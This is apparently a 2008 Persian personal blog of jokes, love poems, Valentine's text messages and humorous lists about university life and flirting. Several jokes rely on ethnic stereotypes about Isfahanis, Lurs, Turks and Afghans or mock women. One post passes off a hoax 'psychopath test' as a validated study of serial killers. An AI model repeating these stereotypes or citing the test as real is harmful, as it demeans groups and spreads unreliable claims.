دختر و پسره داشتن با هم قايم باشك بازي ميكردند ، دختره به پسره ميگه تو چشم بگذار اونوقت من ميرم قايم ميشم ، اگه تونستي منو پيدا كني بغلم كن و بوسم كن ، اگه هم نتونستي منو پيدا كني من زير راه پله قايم شدم !
-----------------------------------------------------------

به يكي مي گن اگه دنيا رو بهت بدن چي كار مي كني مي گه من فعلا مي خوام درسمو ادامه بدم !!
---------------------------------------

يكي بعد از 40 سال كچل بودن كلي قرض و قوله ميكنه موي مصنوعي ميكاره بعد از 4 روز تو قرعه كشي ادارشون سفر حج عمره براش در مياد!
-----------------------------------------------------------

يه مرده دستشويي بوده پسرش زنگ ميزنه به گوشيش ميگه بابا كجايي؟ميگه يه جاييمم پسره ميگه مامان گفت ناهار نداريم هر جا هستي همونجا يه چيزي بخور.
-----------------------------------------------------------

يكي مسافر كشي ميكرد . يه جا يه زنه بهش گفت : آقا ، ببخشيد ، كريمخان ميريد ? يكي گفت : اه ، خوب معلومه ، اگه نميريد كه ميتركيد!!!

---------------------------------------------
يك دختره تو خيابون ميرفته. يه هو يه پسره محكم بغلش ميكنه دختره ميگه ببين تا ده هزار ميشمارم اگه ولم نكني جيغ ميزنما!
------------------------------------
گربه دستش به گوشت نميرسيد ميگفت عيبي نداره بجاش سويا ميخورم!
-----------------------------------------------------------

يكي:آقا اين همسايه مون ساعت 2 نصفه شب هي با مشت ميكوبيد به ديوار خونمون! دوستش:عجب آدم هاي مردم آزاري پيدا ميشن.حتماً نذاشتن بخوابي؟ يكي:نه,خوشبختانه خواب نبودم,داشتم شيپور تمرين مي كردم.
-----------------------------------------------------


از حيف نون مي پرسن چرا حموم نمي ري؟ ميگه: به جاش قرص چرك خشك كن مي خورم

 

زنه از شوهرش مي پرسه از چيه من بيشتر خوشت مي آد؟ از صورت زيبا و يا هيكل متناسبم؟ مرده يه نگاهي به سر تا پاي زنش مي ندازه و ميگه از اعتماد به نفست!!!


يكي بود يكي نبود.يه روز زمين عاشق خورشيد شده بود. بهش گفت دورت بگردم. تا ابد تو رودر باسي موند

اگر زني رنگ شاد بپوشد رژ لب بزند، و كلاه عجيب و غريبي سرش بگذارد، شوهرش با اكراه او را با خودش به كوچه و خيابان مي برد. ولي اگر كلاه كوچكي بر سرش بگذارد و كت و دامن خياط دوز تن كند شوهرش با كمال ميل او را بيرون مي برد و تمام مدت به زني كه لباس رنگ شاد پوشيده و كلاه عجيب و غريب سرش گذاشته و رژ لب زده است خيره مي شود.
"بالتيمور بيكن"

 

يه روز يه اصفهانيه داشته روي خودش آب يخ مي ريخته. يكي مي بيندش و ازش مي پرسه چرا همچين كاري مي كني؟ ميگه مي خوام سرما بخورم. يارو ميگه چرا؟ ميگه آخه يه پني سيلين تو خونه دارم داره تاريخ مصرفش مي گذره!

يه روز يه اصفهاني بليت هواپيما مي‌گيره، ميره ايستگاه قطار، سوار اتوبوس مي‌شه، با دوچرخه ميره مسافرت

اصفهانيه موبايل مي خره صفرشو مي بنده


بنابر قانون ششم نيوتن اگر با يك لر دعوا كردي


و ديدي لر فرار كرد، تو هم فرار كن


چون رفته سنگ بياره

 

***********************


تركه با گوسفنداش دعواش ميشه ،


 واسه چرا مي بردشون چمن مصنوعي


***********************


سه راه براي پولدار شدن وجود دارد:


يا بابات برات پول در بياره،


يا باباي مردم رو براي پول دربياري،


يا بابات دربياد تا پول دربياري


*********************


آسمان را ستاره زيبا مي كند ،


 باغچه را گل ،


عشق را محبت ،


بيابان را چمن ،


 چشم را اشك ،


و تو را ...............


 عمل كردن دماغ زيبا مي كند


**************************


مي دونين تركا به آسانسور چي ميگن ؟

 


تاكسي ديواري

 

سر شمار : ببخشيد خانوم شما چند نفريد؟


زن : منو اين كره خر و اون توله سگ و


اون موش مرده و اون غول بيابوني!!!


سرشمار : ببخشيد خونه تون باغ وحشه؟


زن : آره، منم خرم كه با باباي گوريل اينا زندگي ميكنم

---------------

--------------------

هيچ كس‌ نمي ‌تو نه‌ به‌‌ دلش‌ ياد‌ بده‌‌ كه ‌نشكنه‌
اما‌ ما به‌دلمون ‌ياد‌ داديم‌‌ كه وقتي ‌شكست
لبه‌ي ‌تيزش‌دست‌ كسيكه‌ او نو شكسته ‌نبره...!
 


 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:12  توسط سید حسین محمدی | 
دانشگاه . سال اول تا سال آخر
توضيح: خواندن اين مطلب براي خانم هاي محترم توصيه نمي شود!بعد نگيد نگفتم، حوصله جروبحث كردن ندارم !!
- سال اول پسرها با کيف سامسونت به دانشگاه مي آيند ولي سال آخر با خود هيچ چيز نمي آورند! ( حتي خودشان را!)
- سال اول هميشه براي نشستن در صندلي هاي جلو بين دانشجويان رقابت است ولي سال آخر براي نشستن در صندلي هاي عقب!
 سال اول پسرها دنبال دخترها ي دانشگاه هستند ولي سال اخر دختر ها دنبال پسرها!
- در سال اول همه گمشده ي خود را فقط در داخل ورودي خود جستجو مي کنند ولي سال اخر همه گم شده ي خود را همه جا جستجو مي کنند به جز ورودي خود!

- در سال اول پسر ها، دخترهاي ورودي خود را ناموس خود مي دانند ولي در سال آخر طفيلي خود!

- سال اول اکثر دخترها به علت چندش آور بودن حتي از کنار سرويس هاي بهداشتي دانشکده هم عبور نمي کنند ولي در سال اخر اکثر وقت خود را در جلوي آينه ي همان سرويس مي گذرانند!

- در سال اول هر پسري که ازدواج کند بقيه پسر ها او را تيز و موفق مي دانند و به حال او غبطه مي خورند ولي در سال اخر هر پسري که ازدواج کند همه او را احمق و بيچاره مي دانند و به حال او گريه مي کنند!

- در سال اول اگر دختري به پيشنهاد ازدواج پسري جواب رد بدهد بقيه دخترها او را تحسين کرده و قهرمان ملي خود تلقي مي کنند ولي در سال آخر اگر پسري پيدا شود که به يک دختر پيشنهاد ازدواج بدهد بقيه دختر ها آن دختر را تحسين کرده و قهرمان ملي تلقي مي کنند!

- سال اول دخترها با چند جزوه و يک کيف کوچک براي مداد و خودکار به دانشگاه مي آيند ولي سال آخر با يک کيف بزرگ محتواي آرايشگاه همراه!

- در سال اول اگر کسي به کار تحقيقاتي و علمي يا حتي فرهنگي بپردازد يا در انجمن ها ي دانشگاه فعاليت کند همه او را فعال و نمونه مي دانند ولي در سال آخر اگر کسي اين سوسول بازي ها را کند او را احمق و بيکار و علاف مي دانند!

- در سال اول همه  (مخصوصا دختر خانم ها) آرزوي گرفتن نمره ي بيست را از اساتيد دارند ولي در سال اخر همه ي دانشجويان براي نمره ي ده حاضرند به مستخدم دانشکده  هم التماس کنند!

- در سال اول همه ضمن خوشحالي از ورود به دانشگاه روياي ادامه ي تحصيل تا مقطع دکترا و چه بسا بالاتر را در سر مي پرورانند ولي در سال آخر همه براي اتمام دوره شان لحظه شماري مي کنند!

- سال اول همه ي دانشجويان اساتيد خود را افرادي نابغه فعال و نمونه مي دانند و آنها را به عنوان الگوي خود قرار مي دهند ولي در سال آخر  ،  اساتيد خود را افراد معمولي اي که يا شانس داشتند و يا پارتي مي شناسند!

- سال اول دانشجويان دانشگاه را محيطي مي دانند که در آن مي توانند علم خود را کامل کنند و به مدارج بالاي علمي برسند ولي سال آخر متوجه مي شوند همان اندک علمي را که در دوران قبل از دانشگاه آموخته بودند از دست دادند وفقط يک مدرک بي ارزش بدست آوردند!

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:12  توسط سید حسین محمدی | 
تو به من خنديدي و نمي دانستي
من به چه دلهره از باغچه ي همسايه
سيب را دزديدم
باغبان از پي من تند دويد
سيب را دست تو ديد
غضب آلود به من کرد نگاه
سيب دندان زده از دست تو افتاد به خاک
وتو رفتي وهنوز
سالهاست که دو گوش من آرام آرام
خش خش گام تو تکرار کنان مي دهد آزارم
ومن انديشه کنان
غرق اين پندارم که چرا
خانه ي کوچک ما سيب نداشت!!! م
+ نوشته شده در  شنبه 22 تیر1387ساعت 23:12  توسط سید حسین محمدی | 
کسي نيست
بيا زندگي را بدزديم آن وقت
ميان دو ديدار قسمت کنيم
بيا با هم از حالت سنگ چيزي بفهميم
بيا زودتر چيزها را ببينيم
ببين عقربکهاي فواره در صفحه ي ساعت حوض
زمان را به گردي بدل مي کنند
...................................................................................................
بشر يعني چه..............
بشر يعني تعبير عاشقانه اشکال
.....................................................................
          قطار مي رود
          تو مي روي
          تمام ايستگاه مي رود
          ومن چقدر ساده ام
         که سال هاي سال
         در انتظار تو
         کنار اين قطار رفته ايستاده ام
          و همچنان
          به نرده هاي ايستگاه رفته
        ! تکيه داده ام
.......................................................................................................
+ نوشته شده در  شنبه 22 تیر1387ساعت 23:11  توسط سید حسین محمدی | 
تنها نگاه بودو تبسم ميان ما
تنها نگاه بود و تبسم
اما ...نه : گاهي
از تب هيجان ها
بي تاب مي شديم
گاهي که قلب هامان
            مي کوفت سهمگين
گاهي که سينه هامان
چون کوره مي گداخت
دست تو بود و دست من -اين دوستان پاک -کز شوق
سر به دامن هم مي گذاشتند
وز اين پل بزرگ
-پيوند دست ها -
دلهاي ما به خلوت هم راه داشتند
يک بار نيز
-يادت اگر باشد-
وقتي تو راهي سفري بودي يک لحظه
واي تنها يک لحظه
سر روي شانه هاي هم آورديم
    با هم گريستيم ...
تنها نگاه بودو تبسم ميان ما
ما پاک زيستيم !
+ نوشته شده در  شنبه 22 تیر1387ساعت 23:11  توسط سید حسین محمدی | 
يکي بود يکي نبود

 اوني که بود تو بودي اوني که تو قلب تو نبود من بودم.

 يکي داشت يکي نداشت

 اوني که داشت تو بودي اوني که جز تو کسي رو نداشت من بودم

 يکي خواست يکي نخواست

 اوني که خواست تو بودي اوني که نخواست از تو جدا بشه من بودم

 يکي گفت يکي نگفت

 اوني که گفت تو بودي اوني که دوست داشتن را به هيچکس جز تو نگفت من بودم.

 يکي رفت يکي نرفت

 اوني که نرفت تو بودي اوني که از يادت رفت من بودم

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:10  توسط سید حسین محمدی | 
يه تست جالب تو سايت آفتاب ديدم گفتم شمام ببينيد . سعي کنيد به سوال جواب بدين (سعي کنيد شما مي تونيد )
سوالي رو که مشاهده مي کند يک تست روانشاني است . متن را با دقت بخوانيد تک تک کلمات در جواب نهايي تاثير دارند :
يک زن در مراسم ختم مادر خود ، مردي را مي بيند که قبلا او را نمي شناخت. او با خود انديشيد که اين مرد بسيار جذاب است. او با خود گفت او همان مرد رويايي من است و در همان جا عاشق او ميشود .اما هيچگاه از او تقاضاي شماره نمي کند و ديگر آن مرد را نمي بيند. چند روز بعد او خواهر خود را مي کشد
به نظر شما انگيزه ي او از قتل خواهر خود چه بوده است ؟
چند دقيقه با خود فکر کنيد و جواب هاي خود را يادداشت کنيد. بعد برا يافتن پاسخ صحيح به پايين صفحه مراجعه کنيد ( ديگه زيادم سعي نکنيد اگه نشده يعني نمي تونيد ديگه )
.
.
.
.

.
.
.
.
.
اما پاسخ :

آن زن اميد داشت که در مراسم ختم خواهرش شايد ان مرد را دوباره ببنيد

 

اگر توانستيد به اين سوال پاسخ صحيح بدهيد احتمالا شما يک بيمار رواني يا psychopath هستيد
يکي از بزگترين روانشناسان امريکايي اين تست را بر روي افراد زيادي انجام داد تا به اين نتيجه برسد که چه کساني پاسخ صحيح مي دهند .
نکته ي جالب اين كه اکثر قاتل هاي سريالي به راحتي و سرعت توانستند جواب صحيح بدهند :
بنابراين اگر پاسخ شما صحيح بود احتمالا شما يکي از قاتل هاي سريالي آينده خواهيد بود .
سعي كنيد در رفتار خود تجديد نظر كنيد !!!!!

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:10  توسط سید حسین محمدی | 
HAPPY IRANIAN VALENTINE

 

 

يه روز يه آقاهه ميره تو مغازه و ميگه: آقا كارتي دارين كه روش نوشته باشه :

" تو تنها عشق من هستي " ؟
فروشنده هم ميگه : بله
آقاهه : لطفا 16 تا ازش بدين !!

 

ميگم دوستت دارم
نميگم عاشقتم
ميگم ديونتم كه اگه يه روز ناراحتت كردم بگي بيخيال ديونست . . .

 


اس ام اس ولنتاين. مسيج ولنتاين. آفلاين ولنتاين

قلب مهربانت مثلثي را مي ماند در درياي عشق
مرا در خود كشيدي برموداي من !!!

 


يادته بهت گفتم كه خشت ديوار دلتم، تو هم منو شكستي
ولي اشكالي نداره، حالا خاك زير پاتم !

 

 

عشق آن نيست كه هر لحظه كنارش باشي عشق آن است كه پيوسته به يادش باشي

 

اي كاش كه معشوق ز عاشق طلب جان مي كرد،

 تا كه هر بي سرو پايي نشود يار كسي !!!

 

دوست داشته باش و زندگي كن!

زمان براي هميشه از آن تو نيست

 


مي دونستي اشك گاهي از لبخند با ارزش تره؟

 چون لبخند رو به هر كسي مي توني هديه كني اما اشك رو فقط براي كسي مي ريزي كه نمي خواي از دستش بدي

 ولنتاين مبارك

 

من به دو چيز عشق مي ورزم يكي تو و ديگري وجود تو، به دو چيزاعتقاد دارم يكي خدا وديگري تو، من در اين دنيا دو چيز ميخواهم يكي تو وديگري خوشبختي تو.

 

زندگي آرام است، مثل آرامش يك خواب بلند.
زندگي شيرين است، مثل شيريني يك روز قشنگ.
زندگي رويايي است، مثل روياي ِيكي كودك ناز.
زندگي زيبايي است، مثل زيبايي يك غنچه ي باز.
زندگي تك تك اين ساعتهاست، زندگي چرخش اين عقربه هاست، زندگي راز دل مادر من. زندگي پينه ي دست پدر است، زندگي مثل زمان در گذر...


هر كي اومد پيش من يه ذره جاتو نگرفت....هيچ ادايي جاي اون نازو اداتو نگرفت....پيش هر نقاشي رفتم تو رو نقاشي كنه، روي هر بومي زدم رنگ چشاتو نگرفت...

 


كاش كسي تو دلمون پا نميذاشت... كاش اگه پا ميزاشت دلمون رو تنها نميذاشت... كاش اگه تنها ميذاشت رد پاش رو روي دلمون جا نميزاشت

 

قلبمو هديه مي دم بهت . مواظبش باش . نه به خاطر اينكه قلبمه به خاطر اينكه تو توشي

 

موقعي كه مي خواستمت مي ترسيدم نگات كنم،موقعي كه نگات كردم ترسيدم باهات حرف بزنم. موقعي كه باهات حرف زدم ترسيدم نازت كنم،موقعي كه نازت كردم ترسيدم عاشقت بشم حالا كه عاشقت شدم ميترسم از دستت بدم

 

دل آدمها مثل يك جزيره دور افتادست ،اينكه كي واسه اولين بار پا به جزيره ميزاره مهم نيست مهم اون كسيه كه هيچوقت جزيره را ترك نكند

 

اگر باران بودم انقدر مي باريدم تا غبار غم را از دلت پاك كنم اگر اشك بودم مثل باران بهاري به پايت مي گريستم اگر گل بودم شاخه اي از وجودم را تقديم وجود عزيزت ميكردم اگر عشق بودم آهنگ دوست داشتن را برايت مينواختم ولي افسوس كه نه بارانم نه اشك نه گل و نه عشق اما هر چه هستم دوستت دارم

 

عشق شايد زود تو را عاشق و دلتنگ كند اما هرگز تو را سير نمي كند. روز ولنتاينت مبارك

 

اگرتواين دنيا كسي هست كه با ديدنش رنگ رخسارت عوض ميشه و قلبت ابروتو به تاراج مي بره. مهم اين نيست كه اون مال تو باشه، مهم اينه كه باشه. نفس بكشه، زندگي كنه و از زندگيش لذت ببره

 

خيانت تنها اين نيست كه شب را با ديگري بگذراني ... خيانت ميتواند دروغ دوست داشتن باشد ! خيانت تنها اين نيست كه دستت را در خفا در دست ديگري بگذاري ... خيانت ميتواند جاري كردن اشك بر ديدگان معصومي باشد

 

اگه تو دنيا هيچي هيچي نداشته باشي مطمئن باش سه چيز هميشه مال تو هست:خداي مهربون، فكراي قشنگ وقلب كوچيك من

 

عميق ترين درد زندگي مردن نيست بلكه نداشتن كسي است كه الفباي دوست داشتن را برايت تكرار كند و تو از او رسم محبت بياموزي

 

صدا كن مرا كه صدايت زيباترين نواي عالم است
صدا كن مرا كه صدايت قلب شكسته ام را تسكين ميدهد
صدا كن مرا تا بدانم كه هنوز از ياد نبرده اي مرا
نشسته ام تا شايد صدايم كني
صدايم كني ومحبت بي دريقت را نثارم كني

 

عشق من تو باش نه براي اينكه در اين دنياي بزرگ تنها نباشم.تو باش تا در دنياي بزرگ تنهاييم تنها ترين باشي..

 

تو مثل راز بهاري و من رنگ زمستانم. چگونه دل اسيرت شد قسم به شب نميدانم

 

دلم همچو آسمان،پر از ابرهاي بارانيست،
اي كاش دلم امشب بگريد، شايد كه بغض عشق در چشمانم بشكند....

 

آري دوستي دو نيمه دارد نيمي از آن عشقي است كه دل تو را بيقرار كرده است و نيمي ديگر آن محبتي است كه در دل من مي تپد

 

 


فرشته ها وجود دارن اما بعضي وقتا چون بال ندارن ما بهشون ميگيم دوست

 


من غريبه ي ديروزم و آشناي امروز
و فراموش شده ي فردا
پس در آشنايي امروز مي نگرم
تا در فراموشي فردا يادم كني

 

 


كسي رو دوست داشته باشي ؛ نمي توني تو چشماش زول بزني ؛ نمي توني دوري شو تحمل كني ؛ نمي توني بهش بگي چقدر دوستش داري ؛ نمي توني بهش بگي چقدر به اون نياز داري ؛ واسه همينه كه عاشقا ديوونه آدم ها به هم گل مي دهند ، چون معناي حقيقي عشق در گل ها نهفته است ؛ كسي كه بكوشد صاحب گلي شود؛ زيبايي پژمردن اش را هم خواهد ديد؛ اما اگر به همين بسنده كند كه گلي را در دشتي بنگرد ، همواره با او خواهد ماند؛ چون آن گل با عصر هنگام ، با غروب خورشيد ، با بوي زمين خيس و با ابرهاي افق مي ميرد

 

 

حس كه پيدا شد عشق باريدن گرفت، هيچ ميداني رمز عاشق بودن هركس فقط اين است: ساده بودن، ساده ديدن، و ساده پذيرفتن...پس ساده ميگويم، ساده...دوستت دارم

 

 

تيك تاك ساعت فرياد مرگ ثانيه هاست، اما دوستي ها هيچ وقت نميميرند..... ولنتاين مبارك

 

 

عشق با روح شقايق زيباست عشق باحسرت عاشق زيباست عشق با نبض دقايق زيباست عشق با
زهر حقايق زيباست عشق با در حسرت ديدار تو بودن زيباست

 

عاشقت خواهم ماند بي آنكه بداني
دوستت خواهم داشت بي آنكه بگويم
درد دل خواهم كرد بي هيچ كلامي...
در آغوشت قرار خواهم گرفت بي هيچ كلامي
در آغوشت خواهم ماند بي هيچ كلامي
شايد احساسم اينگونه نميرد

 

 

هيچ زمان دل به كسي نبند ...... چون اين دنيا اين قدر كوچك است كه دو تا دل كنار هم جا نميشه ..... ولي اگر دل بستي ... هيچ وقت ازش جدا نشو چون اين دنيا اين قدر بزرگه ... كه ديگه پيداش نميكني

 

 

عمري با غم عشقت نشستم
به تو پيوستم واز خود گسستم
وليكن سرنوشتم اين سه حرف بود
تو را ديدم. پرستيدم . شكستم

 

 

خودم عهد بستم بار ديگركه تورا ديدم،بگويم از تودلگيرم. ولي باز تو را ديدم و گفتم : بي توميميرم

 

 

كم دوست داشته باش اما هميشه دوست داشته باش

 

 

آرزومه كه يه روز، تو كلبه ي قشنگمون
يه شب صاف مهتابي، با ديواراي عنابي
دست بكشم رو گونه هات ، خيره بشم به اون چشات
حس كنم كنارمي ، تو آغوش گرم مني
سرت رو شونه هام باشه ، دستات توي دستام باشه
نگات تو چشم من باشه ، لبات روي لبهام باشه
از عشق هم گر بگيريم ، از امروزو فردا بگيم
با اين دلهاي پاكمون ، يه جشن كوچك بگيريم

 

 

اين وزن آواز من است اگر مرا بسيار دوست بداري شايد حس تو صادقانه نباشد
من تو را چون عشق در سر كرده ام
من تو را چون شعر از بر كرده ام
من گل ياد تو را همچون خزان
در خيال خويش پر پر كرده ام
بي وفايي كردي و عاقل شدي !
من به عشق شومت عادت كرده ام
عشق ورزيدن به تو درد است درد!
من ز درد خويش هجرت كرده ام
كمتر دوستم بدار تا عشقت ناگهان به پايان نرسد
من به كم هم قانعم و اگر عشق تو اندك، اما صادقانه باشد من راضي ام
دوستي پايدار، از هر چيزي بالاتر است
مرا كم دوست داشته باش اما هميشه دوست داشته باش
اين وزن آواز من است بگو تا زماني كه زنده اي،
دوستم داري!
و من تمام عشق خود را به تو پيشكش مي كنم

 

 


زندگي عشق است افسانه نيست آنكه عشق راآفريد ديوانه نيست

 

خدايا هركه را دوست داري به او بياموز كه عشق از زندگي كردن برتر است و هرآنكه را دوست تر مي داري بياموز كه دوست داشتن از عشق نيز والاتر است

 

 

بزرگترين آرزوم اينه كوچكترين آرزوت باشم

 

من آفتاب انديشه را به سرزمين عشق خواهم كشاند من ستاره اميد را در دل پرمهرت خواهم نشاند و خواهم نوشت:....دوستت دارم

 

 

تقديم به او كه نبود ولي حس بودنش بر من شوق زيستن داد دلم براي كسي تنگ است كه آفتاب صداقت را به ميهماني گلهاي باغ مي آورد و گيسوان بلندش را به باد مي داد و دست هاي سپيدش را به آب مي بخشيد و شعر هاي خوشي چون پرنده ها مي خواند .ولنتاين مبارك

 

 

تا كدوم ستاره دنبال تو باشم
تا كجا بي خبر از حال تو باشم
مگه ميشه از تو دل بريد و دل كند
بگو مي خوام تا ابد مال تو باشم
از كسي نيس كه نشوني تو نگيرم
به تو روزي ميرسم من كه بميرم
هنوزم جاي دو دستات خالي مونده
تا قيامت توي دستاي حقيرم
خاك هر جاده نشسته روي دوشم
كي مياد روزي كه با تو روبرو شم
من كه از اول قصه گفته بودم
غير تو با سايه م نمي جوشم

 

 

اگه مثل اشك تو چشمام بودي براي نگه داشتنت تا آخر عمر گريه نميكردم

 

 

هر گاه ديدي در اوج قدرت هستي به حباب فكر كن

 

 

از اداره هواشناسي مزاحمتون مي شم ، ببخشيد اگه يه نفر دلش هواي تو رو كرده باشه اونم تو اين روز بايد چي كار كنه؟؟

 


يادمون باشه كه هيچكس رو اميدوار نكنيم بعد يكدفعه رهاش كنيم چون خرد ميشه ميشكنه و آهسته ميميره . يادمون باشه كه قلبمون رو هميشه لطيف نگه داريم تا كسي كه به ما تكيه كرده سرش درد نگيره يادمون باشه قولي رو كه به كسي ميديم عمل كنيم . يادمون باشه هيچوقت كسي رو بيشتر از چند روز چشم به راه نذاريم چون امكان داره زياد نتونه طاقت بياره . يادمون باشه اگه كسي دوستمون داشت بهش نگيم برو نميخوام ببينمت چون زندگيش رو ازش ميگيريم

 

 

به همه لبخند بزن اما با 1 نفر بخند همه را دوست داشته باش اما به 1 نفر عشق بورز تو قلب همه باش اما قلبت مال 1 نفر باشه

 

 

هر كي اومد پيش من يه ذره جاتو نگرفت....هيچ ادايي جاي اون نازواداتو نگرفت....پيش هر نقاشي رفتم تورو نقاشي كنه،روي هر بومي زدم رنگ چشاتو نگرفت ولنتاين مبارك
 

 

 

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:10  توسط سید حسین محمدی | 
چگونه دل پسرها رو ببريم - طنز

خانمها ، بانوان، سركاران عليه:
وقتي در صف شير مردم جايشان را به شما نمي دهند؟ وقتي كرايه تاكسي را مي دهيد راننده نمي گويد قابلي نداره؟ وقتي لبخند مي زنيد بچه هاي كوچيك از ترس قيافه شماگريه مي كنند ؟ وقتي راه ميرويد بهتر است كه راه نرويد؟ آيا وقتي به زيبايي فكر مي كنيد همان زماني است كه به خودتان فكر نمي كنيد؟ اگر مي خواهيد وقتي قدم بر ميزنيد مردان كف بر شوند، اگر مي خواهيد وقتي پلك ميزنيد مردان در خاك و خون غوطه ور شوند، اگر مي خواهيد وقتي با آنها صحبت مي كنيد خود را تكه تكه كنند، اگر مي خواهيد وقتي به آنها لبخند ميزنيد از كت خود يه چرخ گوشت در آورند و خود را چرخ كنند به موارد زير توجه كنيد:
البته بگما تمامه اين كارا كاره مردانه جلفه

حالا به نكات زير بي زحمت كمي دقت كنين تا شايد فرجي بشه

در باب اداي جملات:
در اداي جملات و واژه ها دقت خاصي مبذول فرماييد. به طور مثال اول هر جمله از واژه
( آخي ) استفاده كنيد.
حتي المقدور واژه هاي پاياني جمله را كمي بيشتر از حد معمول بكشيد به طور مثال:
(فردا مي بينم………… ……… .ت)
اشوه فراموش نشه هاااا
سعي كنيد ريتم پلك زدنتان را با ميزان هجاهاي جمله تان هماهنگ كنيد مثلا در جمله
”من به فلان چيز علاقه دارم” براي ”من” يك پلك و براي ”به فلان چيز علاقه دارم” ?عدد پلك بزنيد.
لفا امتحان كردنو بزارين واسه بعد بزارين ادامه درسو بدم

در باب خوردن غذا:
در حين خوردن بايستي بسيار جلب توجه كنيد براي اين كار جسم خوردني را از انتها با دو انگشت اشاره و شست گرفته و پيش از فرو بردن كامل در دهان جسم را با لبها بازي دهيد(ميدونم نميتوني جلوي شيكمتو بگيري و ميخواي همشو يه جا بزاري دهنت حالا اين دفه رو كم كم بخور)
غذا را به نحوي بجويد كه لبها به طور يكي در ميان غنچه گردد.

در باب راه رفتن:
سعي كنيد تق تق پاشنه كفشتان به گونه اي تنظيم گردد كه يك ملودي عاشقانه را براي مخاطب تداعي كند.
هيچگاه فاصله ما بين قدمهايتان از دو سانتيمتر تجاوز نكند هر جند عجله داشته باشيد.

در باب لبخند زدن:
آداب لبخند زدن بستگي به مستقيمي به وضعيت دندانهايتان دارد اگر دندانهايتان كج و معوج، لك لك، فاصله دار و داراي ساير نا هنجاريها داريد(كه متاسفنه يا خوشبختانه اكسر خانوما همين وضو دارن) …….. تبسمي كفايت ميكند
اگر دندان كناري خود را طلا كرده ايد از همان طرف بخنديد
اگر اصولا دنداني در كار نيست به گونه اي چشمان را خمار كنيد كه كار لبخند را ميكند

در باب ورود به كلاس:
هنگامي وارد كلاس شويد كه حداقل يك ربع ساعت از شروع آن گذشته و همه دانشجويان سر كلاس حاضر باشند.
به قول خودتون هر جا دير بري كلاس داره
موقع نشستن دورترين و سختترين صندلي را براي نشستن تا حسابي رسيدن به صندلي مورد نظر طول بكشد سپس ده دقيقه وقت به جمع و جور كردن مانتو اختصاص بديد
بهتر است همگام ورود به كلاس كاور گيتاري ولو خالي روي دوشتان حمل شود

بدون شك تمرين مستمر نقش مهمي را در موفقيت شما بازي ميكند .اگر پس از شش ماه متدهاي فوق پاسخگو نبود بهتر است مخاطبين خود را تغيير دهيد.

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:9  توسط سید حسین محمدی | 
 

رمز موفقيت 2 كلمه است
تصميم درست
رمز گرفتن تصميم درست1 كلمه است :
تجربه
رمز كسب تجربه 2 كلمه است :
تصميم نادرست

 

 

لاك پشت ها هم عاشق ميشن
و تحمل درد عشق براشون اسونه
چون عشقشون آروم تركشون مي كنه

 

 

غضنفر رو برق مي گيره، مي ميره، فاميلاش سر قبرش با فازمتر فاتحه مي دن!

 

شكسپير ميگه: يا به اندازه ي آرزو هاتون تلاش كنيد يا به اندازه ي آرزوتون تلاش كنيد . . .

ترجمه ي لري : اگه نمي توني گه بخوري ، گه مي خوري گه بخوري !

 

زن مثل ويروس مي مونه
وقتي وارد زندگيت بشه جيبتو SCAN مي كنه
لبخند رو از روي لبات DELETE مي كنه
مختو EDIT  مي كنه
برنامه هاتو DOWNLOAD مي كنه
و تو آخرش HANG مي كني

 

افغانيه رو ميخواستن اعدام کنن بهش ميگن حرف آخرت چيه؟ ميگه کارگر نميخواين؟؟؟؟


--------------------------------------------------------------------------------

از يه ترکه مي پرسن: شما ترکين؟
ميگه: خب اين که دليل نمي شه!


?. زن : آقاي دکتر اونقدر سينه هام درد مي کنه که مي خوام بکنَمشون بندازم جلوي گربه . شما چي ميگين ؟    دکتر : ميو ... ميو ... ميو !

 

 

 

+ نوشته شده در  شنبه 22 تیر1387ساعت 23:9  توسط سید حسین محمدی | 

  خداحافظ
شبيه برگ پاييزي ، پس از تو قسمت بادم

 


                          خداحافظ ، ولي هرگز نخواهي رفت از يادم

 

 

                        خداحافظ ، و اين يعني در اندوه تو مي ميرم

 


                        در اين تنهايي مطلق ، که مي بندد به زنجيرم

 


                         و بي تو لحظه اي حتي دلم طاقت نمي آرد

 


                            و برف نا اميدي بر سرم يکريز مي بارد

 


                        چگونه بگذرم از عشق ، از دلبستگي هايم ؟

 


                       چگونه مي روي با اينکه مي داني چه تنهايم ؟

 


                       خداحافظ ، تو اي بانوي شب هاي غزل خواني

 


                           خداحافظ ، به پايان آمد اين ديدار پنهاني

 

 


                      خداحافظ ، بدون تو گمان کردي که مي ماند

 

 

                                      خداحافظ ، بدون من يقين دارم که مي ماني

 

 


 نمي دانم
 

هزاران سال پس از مرگم نمي دانم چه خواهد شد

هزاران سال پس از مرگم نمي دانم چه خواهد شد نمي خواهم بدانم کوزه گر از خاک اندامم

چه خواهد ساخت ولي بسيار مشتاقم که از خاک گلويم

سوتکي سازد گلويم سوتکي باشد

بدست کودکي   گستاخ و بازي گوش که او يک ريز پي در پي

دم گرم خودش را در گلويم سخت بفشارد و خواب خفته گان خفته را آشفته آشفته تر سازد

 

 

 


 تو اگر ميدانستي
تو اگر ميدانستي که چه دردي دارد ، که چه زخمي دارد خنجر از دست رفيقان خوردن ، هرگز   از من خسته نمي پرسيدي که چرا اي دوست تنهايي

 

 


 غروب
غروبها که ميشود دلم هواي تو را مي کند

تنها راه باقي مانده براي حسرتهاي فرو خورده اشک است

اين روزها با سکوت سخن مي گويم:

با اشکم که تو را ذره دره مي بارد

و شايد همين ديروز بود که کسي  برايت گريه کرد بي آنکه بداني.

کاش اشک هايم را ديده بودي......

 


                                       عشق شوق مرگ فاخته ايست براي رسيدن به دلباخته اش


التماس درخت ايست به آب جوي

عشق لذت نهان است

انشاء تنو روان است

زبان چشم است

ديوانگي عقل است

رسوايي قلب است

تن به تن جنگ است

آماده گوش به زنگ است

هزار رنگ است

خيلي زرنگ است

عشق جراءت و ديوانگي است

جنگ سرد است وديگر هيچ

 

 


آواز عاشقانه- قيصر امين‌پور
آواز عاشقانه ي ما در گلو شکست
حق با سکوت بود ، صدا در گلو شکست


ديگر دلم هواي سرودن نمي کند
تنها بهانه ي دل ما در گلو شکست


سر بسته ماند بغض گره خورده در دلم
آن گريه هاي عقده گشا در گلو شکست


اي داد  ، کس به داغ دل باغ دل نداد
اي واي ، هاي هاي عزا در گلو شکست


آن روزهاي خوب که ديديم ، خواب بود
خوابم پريد و خاطره ها در گلو شکست


